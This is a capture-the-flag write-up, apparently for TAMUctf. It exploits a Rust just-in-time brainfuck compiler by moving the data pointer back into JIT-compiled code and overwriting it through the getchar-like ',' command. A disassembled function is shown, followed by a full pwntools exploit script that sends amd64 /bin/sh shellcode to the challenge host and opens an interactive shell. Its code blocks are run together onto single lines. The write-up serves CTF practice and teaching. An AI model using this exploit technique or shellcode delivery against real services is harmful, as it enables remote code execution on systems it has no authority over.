You are prompted with a Just In Time compiler written in Rust and executing brainfuck code.
A teamate found out by moving the pointer in left or "**<**" you can find a funtion which looked like this:```        sub rsp, 0x28        mov qword [rsp + 0x30], rcx        mov qword [rsp + 0x40], r8        mov qword [rsp + 0x48], r9        sub rsi, 0x68        cmp rsi, rdx        jae 0x38         add rsi, 0x8000         mov qword [rsp + 0x30], rdi        mov qword [rsp + 0x38], rsi        mov qword [rsp + 0x40], rdx        mov qword [rsp + 0x48], rcx        movabs rax, 0x56321e001b50        call rax        mov rdi, qword [rsp + 0x30]        mov rsi, qword [rsp + 0x38]        mov rdx, qword [rsp + 0x40]        mov rcx, qword [rsp + 0x48]         cmp al, 0        jne 0x80         mov rax, 0        add rsp, 0x28        ret        mov rax, 1          add rsp, 0x28          ret```
The function can be rewritten with some shellcode by reading it with "**,**" which is the equivalent of getchar() in C.I do not overwrite the call because the shellcode will not be executed.
Full Expoit:
```from pwn import *from pwnlib import shellcraft
p = remote("challenges.tamuctf.com", 31337)context.bits = 64context.arch = "amd64"
shellcode = asm(shellcraft.amd64.linux.sh())
pay = b"<"*23for _ in range(len(shellcode)):        pay += b",>"
print(pay)
p.recvuntil("$")p.sendline(pay)p.sendline(shellcode)
p.interactive()
```